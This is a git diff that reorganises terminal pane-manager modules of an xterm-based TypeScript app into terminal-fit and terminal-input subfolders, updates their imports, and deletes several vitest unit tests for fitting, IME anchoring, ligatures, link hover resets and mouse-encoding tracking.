diff --git a/src/renderer/src/lib/pane-manager/pane-metric-options-deferral.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-metric-options-deferral.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/pane-metric-options-deferral.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-metric-options-deferral.ts
index 0d53a6d35d2..3daf8fdc86c 100644
--- a/src/renderer/src/lib/pane-manager/pane-metric-options-deferral.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-metric-options-deferral.ts
@@ -1,5 +1,5 @@
-import type { ManagedPane } from './pane-manager-types'
-import { recordTerminalWebglDiagnostic } from '../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics'
+import type { ManagedPane } from '../pane-manager-types'
+import { recordTerminalWebglDiagnostic } from '../../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics'
 
 /** The xterm options whose writes make the renderer clear, resize and full-refresh. */
 export type PaneMetricOptions = {
diff --git a/src/renderer/src/lib/pane-manager/pane-reveal-fit.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-reveal-fit.ts
similarity index 84%
rename from src/renderer/src/lib/pane-manager/pane-reveal-fit.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-reveal-fit.ts
index 87aac23dd93..8ddfb66d44b 100644
--- a/src/renderer/src/lib/pane-manager/pane-reveal-fit.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-reveal-fit.ts
@@ -1,14 +1,14 @@
-import type { ManagedPane, ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPane, ManagedPaneInternal } from '../pane-manager-types'
+import { safeFit } from './pane-fit'
 import {
   canMeasurePaneForFit,
-  flushDeferredPaneMetricOptionsIfMeasurable,
-  flushPendingSafeFitContinuations,
-  readFitClientSize,
-  safeFit
-} from './pane-fit'
+  flushDeferredPaneMetricOptionsIfMeasurable
+} from './pane-fit-measurability'
+import { flushPendingSafeFitContinuations } from './pane-fit-continuation-registry'
+import { readFitClientSize } from './pane-fit-client-size'
 import { requestStablePaneFit } from './pane-fit-resize-observer'
 import { clearPaneFitContinuationRetry } from './pane-fit-continuation-retry'
-import { resumePendingFitScrollRestoreAfterFit } from './pane-scroll'
+import { resumePendingFitScrollRestoreAfterFit } from '../terminal-scroll/pane-scroll'
 
 // Pixel changes indicate real resize; unknown/unmeasurable baselines still require a first fit.
 export function paneFitClientSizeChanged(pane: ManagedPane): boolean {
diff --git a/src/renderer/src/lib/pane-manager/terminal-grid-size-for-box.ts b/src/renderer/src/lib/pane-manager/terminal-fit/terminal-grid-size-for-box.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-grid-size-for-box.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/terminal-grid-size-for-box.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-stable-cell-fit-addon.ts b/src/renderer/src/lib/pane-manager/terminal-fit/terminal-stable-cell-fit-addon.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-stable-cell-fit-addon.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/terminal-stable-cell-fit-addon.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-grid-size-for-box.test.ts b/src/renderer/src/lib/pane-manager/terminal-grid-size-for-box.test.ts
deleted file mode 100644
index 30424ab709f..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-grid-size-for-box.test.ts
+++ /dev/null
@@ -1,87 +0,0 @@
-// @vitest-environment happy-dom
-import { FitAddon } from '@xterm/addon-fit'
-import type { Terminal } from '@xterm/xterm'
-import { describe, expect, it } from 'vitest'
-import { terminalGridSizeForBox, type TerminalFitMetrics } from './terminal-grid-size-for-box'
-
-function fitAddonResult(
-  box: { width: number; height: number },
-  metrics: TerminalFitMetrics
-): { cols: number; rows: number } | undefined {
-  const parent = document.createElement('div')
-  parent.style.width = `${box.width}px`
-  parent.style.height = `${box.height}px`
-  const element = document.createElement('div')
-  const { top, right, bottom, left } = metrics.padding
-  element.style.padding = `${top}px ${right}px ${bottom}px ${left}px`
-  parent.appendChild(element)
-  document.body.appendChild(parent)
-  const terminal = {
-    element,
-    dimensions: { css: { cell: metrics.cell } },
-    options: { scrollback: metrics.scrollback, scrollbar: metrics.scrollbar }
-  }
-  const addon = new FitAddon()
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: proposeDimensions reads only element, dimensions and options, all set above.
-  addon.activate(terminal as unknown as Terminal)
-  return addon.proposeDimensions()
-}
-
-const cases: [string, { width: number; height: number }, TerminalFitMetrics][] = [
-  [
-    'a fractional box with the default scrollbar',
-    { width: 541.5, height: 963 },
-    {
-      cell: { width: 8.4, height: 16 },
-      padding: { top: 0, right: 0, bottom: 0, left: 0 },
-      scrollback: 5000,
-      scrollbar: undefined
-    }
-  ],
-  [
-    'padding and a custom scrollbar width',
-    { width: 1200, height: 700 },
-    {
-      cell: { width: 7.2, height: 15.5 },
-      padding: { top: 2, right: 3, bottom: 4, left: 5 },
-      scrollback: 1000,
-      scrollbar: { width: 10 }
-    }
-  ],
-  [
-    'no scrollback, so no scrollbar',
-    { width: 300, height: 200 },
-    {
-      cell: { width: 9, height: 18 },
-      padding: { top: 0, right: 0, bottom: 0, left: 0 },
-      scrollback: 0,
-      scrollbar: undefined
-    }
-  ],
-  [
-    'a hidden scrollbar',
-    { width: 640.9, height: 480.9 },
-    {
-      cell: { width: 8, height: 17 },
-      padding: { top: 0, right: 0, bottom: 0, left: 0 },
-      scrollback: 1000,
-      scrollbar: { showScrollbar: false }
-    }
-  ],
-  [
-    'a box below the minimum grid',
-    { width: 10, height: 5 },
-    {
-      cell: { width: 8, height: 16 },
-      padding: { top: 0, right: 0, bottom: 0, left: 0 },
-      scrollback: 1000,
-      scrollbar: undefined
-    }
-  ]
-]
-
-describe('terminalGridSizeForBox', () => {
-  it.each(cases)('matches FitAddon.proposeDimensions for %s', (_name, box, metrics) => {
-    expect(terminalGridSizeForBox(box, metrics)).toEqual(fitAddonResult(box, metrics))
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-image-added-repaint.test.ts b/src/renderer/src/lib/pane-manager/terminal-image-added-repaint.test.ts
deleted file mode 100644
index 0c633e4d92c..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-image-added-repaint.test.ts
+++ /dev/null
@@ -1,49 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { repaintTerminalAfterImageAdded } from './terminal-image-added-repaint'
-
-function makeAddon() {
-  const listeners = new Set<() => void>()
-  return {
-    fire: () => listeners.forEach((listener) => listener()),
-    onImageAdded: (listener: () => void) => {
-      listeners.add(listener)
-      return { dispose: () => listeners.delete(listener) }
-    }
-  }
-}
-
-describe('repaintTerminalAfterImageAdded', () => {
-  it('repaints the whole viewport synchronously once per burst of added images', async () => {
-    const coreRefresh = vi.fn()
-    const terminal = { rows: 24, refresh: vi.fn(), _core: { refresh: coreRefresh } }
-    const addon = makeAddon()
-    repaintTerminalAfterImageAdded(terminal, addon)
-
-    addon.fire()
-    addon.fire()
-    expect(coreRefresh).not.toHaveBeenCalled()
-    await Promise.resolve()
-
-    expect(coreRefresh).toHaveBeenCalledTimes(1)
-    expect(coreRefresh).toHaveBeenCalledWith(0, 23, true)
-    expect(terminal.refresh).not.toHaveBeenCalled()
-
-    addon.fire()
-    await Promise.resolve()
-    expect(coreRefresh).toHaveBeenCalledTimes(2)
-  })
-
-  it('stops repainting once disposed, including a repaint already queued', async () => {
-    const coreRefresh = vi.fn()
-    const terminal = { rows: 24, refresh: vi.fn(), _core: { refresh: coreRefresh } }
-    const addon = makeAddon()
-    const subscription = repaintTerminalAfterImageAdded(terminal, addon)
-
-    addon.fire()
-    subscription?.dispose()
-    addon.fire()
-    await Promise.resolve()
-
-    expect(coreRefresh).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts b/src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts
deleted file mode 100644
index ddd56c5e724..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts
+++ /dev/null
@@ -1,170 +0,0 @@
-// @vitest-environment happy-dom
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { IBuffer, IBufferCell, IBufferLine, Terminal } from '@xterm/xterm'
-import { installTerminalImeCandidateAnchor } from './terminal-ime-candidate-anchor'
-
-const COLS = 80
-const ROWS = 24
-const CELL_WIDTH = 8
-const CELL_HEIGHT = 17
-
-type AnchorHarness = {
-  terminal: Terminal
-  element: HTMLElement
-  style: { top: string; left: string; width: string }
-  compositionStyle: CSSStyleDeclaration
-  counts: { rectReads: number; styleWrites: number }
-  setCursor: (cursorX: number, cursorY: number) => void
-  setLines: (lines: string[]) => void
-}
-
-function makeLine(text: string): IBufferLine {
-  const chars = Array.from(text)
-  while (chars.length < COLS) {
-    chars.push(' ')
-  }
-  const cellAt = (column: number): IBufferCell | undefined => {
-    const char = chars[column]
-    return char === undefined
-      ? undefined
-      : ({ getWidth: () => 1, getChars: () => (char === ' ' ? '' : char) } as IBufferCell)
-  }
-  return {
-    isWrapped: false,
-    length: chars.length,
-    getCell: cellAt,
-    translateToString: (trimRight = false, start = 0, end = chars.length) => {
-      const result = chars.slice(start, end).join('')
-      return trimRight ? result.replace(/\s+$/, '') : result
-    }
-  } as IBufferLine
-}
-
-function createHarness(): AnchorHarness {
-  const counts = { rectReads: 0, styleWrites: 0 }
-  const element = document.createElement('div')
-  const screen = document.createElement('div')
-  screen.className = 'xterm-screen'
-  const compositionView = document.createElement('div')
-  compositionView.className = 'composition-view'
-  screen.appendChild(compositionView)
-  element.appendChild(screen)
-  document.body.appendChild(element)
-
-  screen.getBoundingClientRect = (): DOMRect => {
-    counts.rectReads++
-    return { width: COLS * CELL_WIDTH, height: ROWS * CELL_HEIGHT } as DOMRect
-  }
-
-  // Read xterm’s just-written preedit width so the clamp preserves its box inside the screen.
-  const style = { top: '', left: '', width: '' }
-  const textarea = {
-    isConnected: true,
-    style: new Proxy(style, {
-      set(target, key: string, value: string) {
-        counts.styleWrites++
-        target[key as 'top' | 'left' | 'width'] = value
-        return true
-      }
-    })
-  } as unknown as HTMLTextAreaElement
-
-  let lines = ['']
-  const buffer = {
-    baseY: 0,
-    cursorX: 0,
-    cursorY: 0,
-    length: ROWS,
-    getLine: (row: number) => (row < lines.length ? makeLine(lines[row] ?? '') : makeLine(''))
-  } as unknown as IBuffer
-
-  const terminal = {
-    element,
-    textarea,
-    cols: COLS,
-    rows: ROWS,
-    buffer: { active: buffer }
-  } as unknown as Terminal
-
-  return {
-    terminal,
-    element,
-    style,
-    compositionStyle: compositionView.style,
-    counts,
-    setCursor: (cursorX: number, cursorY: number) => {
-      Object.assign(buffer, { cursorX, cursorY })
-    },
-    setLines: (next: string[]) => {
-      lines = next
-    }
-  }
-}
-
-function fire(element: HTMLElement, type: string): void {
-  element.dispatchEvent(new Event(type))
-}
-
-/** One Hangul syllable: xterm sees compositionstart then one update per jamo. */
-function typeHangulSyllable(
-  harness: AnchorHarness,
-  cursorX: number,
-  updates = 3,
-  cursorY = 0
-): void {
-  harness.setCursor(cursorX, cursorY)
-  fire(harness.element, 'compositionstart')
-  for (let update = 0; update < updates; update++) {
-    fire(harness.element, 'compositionupdate')
-  }
-}
-
-describe('installTerminalImeCandidateAnchor', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    document.body.innerHTML = ''
-  })
-
-  it('keeps typed follow-ups anchored after recognizing the initial Cursor Agent screen', () => {
-    const harness = createHarness()
-    harness.setLines(['Cursor Agent', '', '→ Plan, search, build anything', ''])
-    installTerminalImeCandidateAnchor(harness.terminal)
-    typeHangulSyllable(harness, 0, 1, 3)
-
-    harness.setLines(['transcript', '', '→ hello', ''])
-    harness.style.left = '0px'
-    fire(harness.element, 'compositionupdate')
-    vi.runAllTimers()
-
-    expect(harness.style).toEqual({
-      top: `${2 * CELL_HEIGHT}px`,
-      left: `${7 * CELL_WIDTH}px`,
-      width: ''
-    })
-    expect(harness.compositionStyle.left).toBe(`${7 * CELL_WIDTH}px`)
-  })
-
-  it('refreshes the deferred metrics and anchor after a refit', () => {
-    const harness = createHarness()
-    harness.setLines(['Cursor Agent', '', '→ hello'])
-    installTerminalImeCandidateAnchor(harness.terminal)
-    typeHangulSyllable(harness, 0, 5, 1)
-
-    Object.assign(harness.terminal, { cols: 40 })
-    harness.setLines(['Cursor Agent', '', '', '→ hello'])
-    harness.style.top = '0px'
-    vi.runAllTimers()
-
-    expect(harness.counts.rectReads).toBe(2)
-    expect(harness.style).toEqual({
-      top: `${3 * CELL_HEIGHT}px`,
-      left: `${14 * CELL_WIDTH}px`,
-      width: ''
-    })
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-mouse-wheel.test.ts b/src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel.test.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-terminal-mouse-wheel.test.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel.test.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-mouse-wheel.ts b/src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel.ts
similarity index 93%
rename from src/renderer/src/lib/pane-manager/pane-terminal-mouse-wheel.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel.ts
index c6cebadc5bd..60a6ac9633f 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-mouse-wheel.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel.ts
@@ -7,16 +7,6 @@ import {
 } from './pane-terminal-tui-wheel-reports'
 import type { TerminalTuiMouseWheelDistanceState } from './pane-terminal-tui-wheel-reports'
 
-export {
-  TERMINAL_TUI_MOUSE_WHEEL_MULTIPLIER,
-  TERMINAL_TUI_MOUSE_WHEEL_MULTIPLIER_MAX,
-  TERMINAL_TUI_MOUSE_WHEEL_MULTIPLIER_MIN,
-  createTerminalTuiMouseWheelDistanceState,
-  normalizeTerminalTuiMouseWheelMultiplier,
-  resolveTerminalTuiMouseWheelReportCount
-} from './pane-terminal-tui-wheel-reports'
-export type { TerminalTuiMouseWheelDistanceState } from './pane-terminal-tui-wheel-reports'
-
 const XTERM_MOUSE_REPORTING_CLASS = 'enable-mouse-events'
 const REPLAYED_WHEEL_EVENT_PROPERTY = '__orcaReplayedTerminalWheelEvent'
 const DOM_DELTA_LINE = 1
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-tui-wheel-reports.ts b/src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-tui-wheel-reports.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-terminal-tui-wheel-reports.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-tui-wheel-reports.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-ime-anchor.test.ts b/src/renderer/src/lib/pane-manager/terminal-input/terminal-ime-anchor.test.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-ime-anchor.test.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/terminal-ime-anchor.test.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-ime-anchor.ts b/src/renderer/src/lib/pane-manager/terminal-input/terminal-ime-anchor.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-ime-anchor.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/terminal-ime-anchor.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.ts b/src/renderer/src/lib/pane-manager/terminal-input/terminal-ime-candidate-anchor.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/terminal-ime-candidate-anchor.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-link-provider-guard.ts b/src/renderer/src/lib/pane-manager/terminal-input/terminal-link-provider-guard.ts
similarity index 94%
rename from src/renderer/src/lib/pane-manager/terminal-link-provider-guard.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/terminal-link-provider-guard.ts
index 78970bf2895..2ebdca17172 100644
--- a/src/renderer/src/lib/pane-manager/terminal-link-provider-guard.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-input/terminal-link-provider-guard.ts
@@ -1,6 +1,6 @@
 import type { ILinkProvider, Terminal } from '@xterm/xterm'
 import '@/diagnostics/crash-reporting/crash-diagnostics'
-import { recordRendererCrashBreadcrumb } from '../../diagnostics/crash-reporting/crash-breadcrumb-recorder'
+import { recordRendererCrashBreadcrumb } from '../../../diagnostics/crash-reporting/crash-breadcrumb-recorder'
 
 /** Convert synchronous provideLinks errors to no-link results. Pathological wrapped lines can make web-links LinkComputer throw RangeError into window.onerror and kill the renderer; degrading one hover preserves retry on mouse movement. */
 export function guardLinkProvider(provider: ILinkProvider, label: string): ILinkProvider {
diff --git a/src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-mouseleave.ts b/src/renderer/src/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset-on-mouseleave.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-mouseleave.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset-on-mouseleave.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-write.ts b/src/renderer/src/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset-on-write.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-write.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset-on-write.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset.ts b/src/renderer/src/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset.ts
rename to src/renderer/src/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-kitty-file-reader.test.ts b/src/renderer/src/lib/pane-manager/terminal-kitty-file-reader.test.ts
deleted file mode 100644
index f35c5146925..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-kitty-file-reader.test.ts
+++ /dev/null
@@ -1,29 +0,0 @@
-import { Terminal } from '@xterm/xterm'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { bindTerminalKittyFileReader, readTerminalKittyFile } from './terminal-kitty-file-reader'
-const terminals: Terminal[] = []
-function terminal(): Terminal {
-  const value = new Terminal()
-  terminals.push(value)
-  return value
-}
-const request = () => ({
-  path: '/fixture/image.png',
-  offset: 0,
-  signal: new AbortController().signal
-})
-afterEach(() => terminals.splice(0).forEach((value) => value.dispose()))
-describe('terminal Kitty file reader ownership', () => {
-  it('older connection cleanup preserves its replacement', async () => {
-    const value = terminal()
-    const first = vi.fn(async () => new Uint8Array([1]))
-    const second = vi.fn(async () => new Uint8Array([2]))
-    const cleanFirst = bindTerminalKittyFileReader(value, first)
-    const cleanSecond = bindTerminalKittyFileReader(value, second)
-    cleanFirst()
-    await expect(readTerminalKittyFile(value, request())).resolves.toEqual(new Uint8Array([2]))
-    expect(first).not.toHaveBeenCalled()
-    cleanSecond()
-    await expect(readTerminalKittyFile(value, request())).rejects.toThrow('unavailable')
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-ligatures-addon-font-access.test.ts b/src/renderer/src/lib/pane-manager/terminal-ligatures-addon-font-access.test.ts
deleted file mode 100644
index e56d153cce6..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-ligatures-addon-font-access.test.ts
+++ /dev/null
@@ -1,34 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import type { Terminal } from '@xterm/xterm'
-import { TerminalLigaturesAddon } from './terminal-ligatures-addon'
-
-describe('TerminalLigaturesAddon font access', () => {
-  afterEach(() => {
-    vi.unstubAllGlobals()
-  })
-
-  it('joins common ligatures without reading installed font files', async () => {
-    const queryLocalFonts = vi.fn(async () => [])
-    vi.stubGlobal('window', { queryLocalFonts })
-    let joiner: ((text: string) => [number, number][]) | null = null
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this fixture provides every Terminal member the addon touches.
-    const terminal = {
-      element: { style: {} },
-      options: { fontFamily: '"Commit Mono", monospace' },
-      rows: 24,
-      refresh: vi.fn(),
-      registerCharacterJoiner(registered: (text: string) => [number, number][]): number {
-        joiner = registered
-        return 1
-      },
-      deregisterCharacterJoiner: vi.fn()
-    } as unknown as Terminal
-    new TerminalLigaturesAddon().activate(terminal)
-
-    const ranges = joiner!('a => b')
-    await Promise.resolve()
-
-    expect(ranges).toEqual([[2, 4]])
-    expect(queryLocalFonts).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-ligatures-addon.test.ts b/src/renderer/src/lib/pane-manager/terminal-ligatures-addon.test.ts
deleted file mode 100644
index 2420f4b2ccd..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-ligatures-addon.test.ts
+++ /dev/null
@@ -1,83 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { Terminal } from '@xterm/xterm'
-
-const addonMock = vi.hoisted(() => ({
-  delegateTerminal: null as Terminal | null,
-  joiner: vi.fn<(text: string) => [number, number][]>()
-}))
-
-vi.mock('@xterm/addon-ligatures', () => ({
-  LigaturesAddon: class {
-    private joinerId: number | null = null
-
-    activate(terminal: Terminal): void {
-      addonMock.delegateTerminal = terminal
-      this.joinerId = terminal.registerCharacterJoiner(addonMock.joiner)
-    }
-
-    dispose(): void {
-      if (this.joinerId !== null) {
-        addonMock.delegateTerminal?.deregisterCharacterJoiner(this.joinerId)
-      }
-    }
-  }
-}))
-
-import { TerminalLigaturesAddon } from './terminal-ligatures-addon'
-
-function createTerminalHarness() {
-  let registeredJoiner: ((text: string) => [number, number][]) | null = null
-  const refresh = vi.fn()
-  const deregisterCharacterJoiner = vi.fn()
-  const terminal = {
-    element: { style: {} },
-    options: { fontFamily: 'Fira Code' },
-    refresh,
-    registerCharacterJoiner(joiner: (text: string) => [number, number][]): number {
-      registeredJoiner = joiner
-      return 17
-    },
-    deregisterCharacterJoiner
-  } as unknown as Terminal
-  return {
-    terminal,
-    refresh,
-    deregisterCharacterJoiner,
-    getRegisteredJoiner: () => registeredJoiner!
-  }
-}
-
-describe('TerminalLigaturesAddon', () => {
-  beforeEach(() => {
-    addonMock.delegateTerminal = null
-    addonMock.joiner.mockReset()
-    addonMock.joiner.mockImplementation((text) => (text.includes('=>') ? [[2, 4]] : []))
-  })
-
-  it('returns fresh tuples because xterm mutates joiner ranges', () => {
-    const harness = createTerminalHarness()
-    new TerminalLigaturesAddon().activate(harness.terminal)
-    const joiner = harness.getRegisteredJoiner()
-
-    const first = joiner('a => b')
-    first[0]![0] = 99
-
-    expect(joiner('a => b')).toEqual([[2, 4]])
-  })
-
-  it('evicts the least-recently-used segment', () => {
-    const harness = createTerminalHarness()
-    new TerminalLigaturesAddon().activate(harness.terminal)
-    const joiner = harness.getRegisteredJoiner()
-
-    for (let index = 0; index < 2_048; index++) {
-      joiner(`s${index}`)
-    }
-    joiner('s0')
-    joiner('new segment')
-    joiner('s1')
-    joiner('s0')
-
-    expect(addonMock.joiner).toHaveBeenCalledTimes(2_050)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-write.test.ts b/src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-write.test.ts
deleted file mode 100644
index d13c5aa9cdf..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-write.test.ts
+++ /dev/null
@@ -1,88 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { Terminal } from '@xterm/xterm'
-import * as hoverReset from './terminal-linkifier-hover-reset'
-import { installTerminalLinkifierHoverResetOnWrite } from './terminal-linkifier-hover-reset-on-write'
-
-// Spy while retaining real cache clearing: idempotent state alone cannot prove throttle/coalescing call counts.
-vi.mock('./terminal-linkifier-hover-reset', async (importOriginal) => {
-  const actual = await importOriginal<typeof hoverReset>()
-  return {
-    ...actual,
-    resetTerminalLinkifierHoverState: vi.fn(actual.resetTerminalLinkifierHoverState)
-  }
-})
-
-type LinkifierCache = { _lastBufferCell?: unknown; _activeLine?: number; _currentLink?: unknown }
-
-function createFakeTerminal(): {
-  terminal: Terminal
-  emitWriteParsed: () => void
-  linkifier: LinkifierCache
-  listenerDisposed: () => boolean
-} {
-  const listeners = new Set<() => void>()
-  let disposed = false
-  const linkifier: LinkifierCache = {
-    _lastBufferCell: { x: 3, y: 4 },
-    _activeLine: 4,
-    _currentLink: undefined
-  }
-  const terminal = {
-    onWriteParsed: (handler: () => void) => {
-      listeners.add(handler)
-      return {
-        dispose: () => {
-          disposed = true
-          listeners.delete(handler)
-        }
-      }
-    },
-    _core: { linkifier }
-  } as unknown as Terminal
-  return {
-    terminal,
-    emitWriteParsed: () => listeners.forEach((handler) => handler()),
-    linkifier,
-    listenerDisposed: () => disposed
-  }
-}
-
-const resetSpy = vi.mocked(hoverReset.resetTerminalLinkifierHoverState)
-
-describe('installTerminalLinkifierHoverResetOnWrite', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    resetSpy.mockClear()
-  })
-  afterEach(() => vi.useRealTimers())
-
-  it('does not drop the reset when the stream goes quiet mid-hover', () => {
-    const fake = createFakeTerminal()
-    installTerminalLinkifierHoverResetOnWrite(fake.terminal)
-
-    fake.linkifier._currentLink = { link: 'https://example.com' }
-    fake.emitWriteParsed()
-    // Many windows pass with NO further writes — the pending reset must survive.
-    vi.advanceTimersByTime(600)
-    expect(resetSpy).not.toHaveBeenCalled()
-
-    // Hover-end retry must run without new output to rearm it.
-    fake.linkifier._currentLink = undefined
-    vi.advanceTimersByTime(150)
-    expect(resetSpy).toHaveBeenCalledTimes(1)
-    expect(fake.linkifier._lastBufferCell).toBeUndefined()
-  })
-
-  it('cancels the pending reset and detaches the listener on dispose', () => {
-    const fake = createFakeTerminal()
-    const disposable = installTerminalLinkifierHoverResetOnWrite(fake.terminal)
-
-    fake.emitWriteParsed()
-    disposable.dispose()
-    expect(fake.listenerDisposed()).toBe(true)
-
-    vi.advanceTimersByTime(500)
-    expect(resetSpy).not.toHaveBeenCalled()
-    expect(fake.linkifier._lastBufferCell).toEqual({ x: 3, y: 4 })
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-mouse-encoding-tracker.test.ts b/src/renderer/src/lib/pane-manager/terminal-mouse-encoding-tracker.test.ts
deleted file mode 100644
index 77dab58de8c..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-mouse-encoding-tracker.test.ts
+++ /dev/null
@@ -1,54 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { Terminal } from '@xterm/headless'
-import {
-  installTerminalMouseEncodingTracker,
-  terminalMouseEncodingRestoreAnsi
-} from './terminal-mouse-encoding-tracker'
-
-const ESC = '\x1b'
-
-function write(terminal: Terminal, data: string): Promise<void> {
-  return new Promise((resolve) => terminal.write(data, resolve))
-}
-
-type XtermMouseStateAccess = { _core?: { mouseStateService?: { activeEncoding?: string } } }
-
-// xterm's own (private) encoding, so each case also proves the mirror agrees with xterm.
-function xtermEncoding(terminal: Terminal): string | undefined {
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: test-only read of xterm's private mouse state; every level is optional.
-  return (terminal as unknown as XtermMouseStateAccess)._core?.mouseStateService?.activeEncoding
-}
-
-async function trackedAfter(...chunks: string[]) {
-  const terminal = new Terminal({ cols: 40, rows: 10, allowProposedApi: true })
-  installTerminalMouseEncodingTracker(terminal)
-  for (const chunk of chunks) {
-    await write(terminal, chunk)
-  }
-  return { restore: terminalMouseEncodingRestoreAnsi(terminal), xterm: xtermEncoding(terminal) }
-}
-
-describe('terminal mouse encoding tracker', () => {
-  it.each([
-    ['nothing', [], '', 'DEFAULT'],
-    ['SGR (1006h)', [`${ESC}[?1006h`], `${ESC}[?1006h`, 'SGR'],
-    ['SGR pixels (1016h)', [`${ESC}[?1016h`], `${ESC}[?1016h`, 'SGR_PIXELS'],
-    ['a combined ?1003;1006h', [`${ESC}[?1003;1006h`], `${ESC}[?1006h`, 'SGR'],
-    [
-      'the Codex start-up sequence',
-      [`${ESC}[?1049h${ESC}[?1000h${ESC}[?1002h${ESC}[?1003h${ESC}[?1015h${ESC}[?1006h`],
-      `${ESC}[?1006h`,
-      'SGR'
-    ],
-    ['the last of ?1006;1016h', [`${ESC}[?1006;1016h`], `${ESC}[?1016h`, 'SGR_PIXELS'],
-    ['1006l after 1006h', [`${ESC}[?1006h`, `${ESC}[?1006l`], '', 'DEFAULT'],
-    // xterm resets to the default on either reset, not only the active one.
-    ['1006l after 1016h', [`${ESC}[?1016h`, `${ESC}[?1006l`], '', 'DEFAULT'],
-    ['1016l after 1006h', [`${ESC}[?1006h`, `${ESC}[?1016l`], '', 'DEFAULT'],
-    ['RIS after 1006h', [`${ESC}[?1006h`, `${ESC}c`], '', 'DEFAULT'],
-    ['a DECSET split across writes', [`${ESC}[?10`, '06h'], `${ESC}[?1006h`, 'SGR'],
-    ['a non-mouse private mode', [`${ESC}[?1006h`, `${ESC}[?25l`], `${ESC}[?1006h`, 'SGR']
-  ])('mirrors %s', async (_name, chunks, restore, xterm) => {
-    expect(await trackedAfter(...chunks)).toEqual({ restore, xterm })
-  })
